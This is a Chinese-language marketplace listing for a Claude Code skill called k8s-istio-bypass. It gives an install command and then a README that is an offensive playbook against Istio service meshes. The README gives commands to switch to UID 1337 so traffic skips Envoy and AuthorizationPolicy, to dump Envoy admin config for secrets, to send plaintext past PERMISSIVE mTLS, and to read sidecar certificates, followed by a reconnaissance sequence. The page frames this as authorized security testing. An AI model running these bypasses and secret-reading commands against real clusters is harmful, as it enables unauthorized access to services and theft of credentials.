mcpField
K
k8s-istio-bypass

k8s-istio-bypass

github.com/wgpsec安全1.8k44 次安装4 天前更新
代码仓库

关于 k8s-istio-bypass

面向 Kubernetes 安全测试的 Istio 策略绕过技能,介绍 UID 1337 绕过 Envoy 的方法,以及管理接口、mTLS 配置和 sidecar 资源的检查方向。

主要功能

  1. 01UID 1337 绕过 Envoy 策略
  2. 02检查 Envoy 管理接口
  3. 03识别 PERMISSIVE mTLS 配置
  4. 04检查 sidecar 证书与集群信息
  5. 05Istio 环境侦察

适用场景

  1. 01在授权测试中验证 AuthorizationPolicy 执行路径
  2. 02检查 Envoy 接口可能暴露的配置与拓扑
  3. 03评估宽松 mTLS 配置的风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill k8s-istio-bypass

安装后在 Claude Code 中输入/k8s-istio-bypass确认已加载。

详细介绍

来自项目 README

Istio Service Mesh 安全策略绕过

Istio 通过 Envoy sidecar 实现流量管理和安全策略。但 Istio 的架构中有一个根本性的设计缺陷可以被利用:Envoy 以 UID 1337 运行,而 iptables 规则会排除 UID 1337 的流量以避免死循环——这意味着以该 UID 身份发出的请求完全绕过 Envoy,所有 Istio 策略不再生效。

核心手法: UID 1337 绕过

Istio 的 iptables 规则把 UID 1337 的出站流量排除在拦截范围之外(否则 Envoy 自身的出站流量也会被拦截形成死循环)。这个设计决定意味着:

正常流量:  Pod → iptables → Envoy (策略检查) → 目标
UID 1337: Pod → iptables → (跳过 Envoy) → 直接到达目标
利用步骤
# 1. 确认 istio 用户存在
grep 1337 /etc/passwd
# istio:x:1337:1337::/home/istio:/bin/sh

# 2. 切换到 istio 用户
su istio
# 或
su -s /bin/sh istio

# 3. 以 istio 身份发起请求(绕过 AuthorizationPolicy)
curl <target-service>.<namespace>.svc.cluster.local

# 4. 如果 su 不可用,尝试 nsenter 或 runuser
runuser -u istio -- curl <target-service>

参考: https://github.com/istio/istio/issues/4286

AuthorizationPolicy DENY 绕过示例

当策略禁止特定 HTTP 方法时:

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
spec:
  action: DENY
  rules:
  - to:
    - operation:
        methods: ["POST", "GET"]
  • ❌ 切换 HTTP Method (PATCH/PUT) — 通常返回 400
  • ✅ 以 UID 1337 发请求 — 完全绕过 Envoy,策略不生效

其他 Istio 利用手法

Envoy 管理接口
# Envoy admin interface (默认 15000)
curl localhost:15000/
curl localhost:15000/config_dump  # 完整配置(可能含 secret)
curl localhost:15000/clusters     # 上游集群信息
curl localhost:15000/listeners    # 监听器配置
curl localhost:15000/stats        # 统计信息

# Pilot debug 接口 (默认 15014)
curl localhost:15014/debug/endpointz
curl localhost:15014/debug/configz
mTLS 降级
# 如果 PeerAuthentication 设为 PERMISSIVE(而非 STRICT)
# 可以发送不带 mTLS 的明文请求
curl http://<service>:<port>  # 明文 HTTP 可能被接受
利用 Sidecar 资源

Envoy sidecar 可能缓存了 mTLS 证书和集群信息,配合 Skill(skill="k8s-sidecar-attack") 进一步利用。

ls /etc/certs/ 2>/dev/null
ls /var/run/secrets/istio/ 2>/dev/null
cat /var/run/secrets/istio/root-cert.pem 2>/dev/null

侦察流程

# 1. 确认 Istio 存在
env | grep -i istio
ls /var/run/secrets/istio/ 2>/dev/null
curl -s localhost:15000/server_info 2>/dev/null | head -5

# 2. 发现目标服务
k8spider scan -subnet <service-cidr>

# 3. 直接访问(测试是否被 AuthorizationPolicy 阻止)
curl -v <target-service>
# 如果返回 403 RBAC access denied → 说明有 AuthorizationPolicy

# 4. 尝试 UID 1337 绕过
su istio -c "curl <target-service>"

# 5. 检查 Envoy 管理接口
curl localhost:15000/config_dump | grep -i secret

关键要点

  • UID 1337 = Istio 的"上帝模式" — 流量不经过 Envoy,不受任何 Istio 策略控制
  • Envoy admin 接口默认在 localhost:15000,可能泄露 secret 和集群拓扑
  • PeerAuthentication: PERMISSIVE 允许明文通信
  • Istio 的 AuthorizationPolicy 只在 Envoy 层生效,绕过 Envoy = 绕过所有策略

评论

支持 Markdown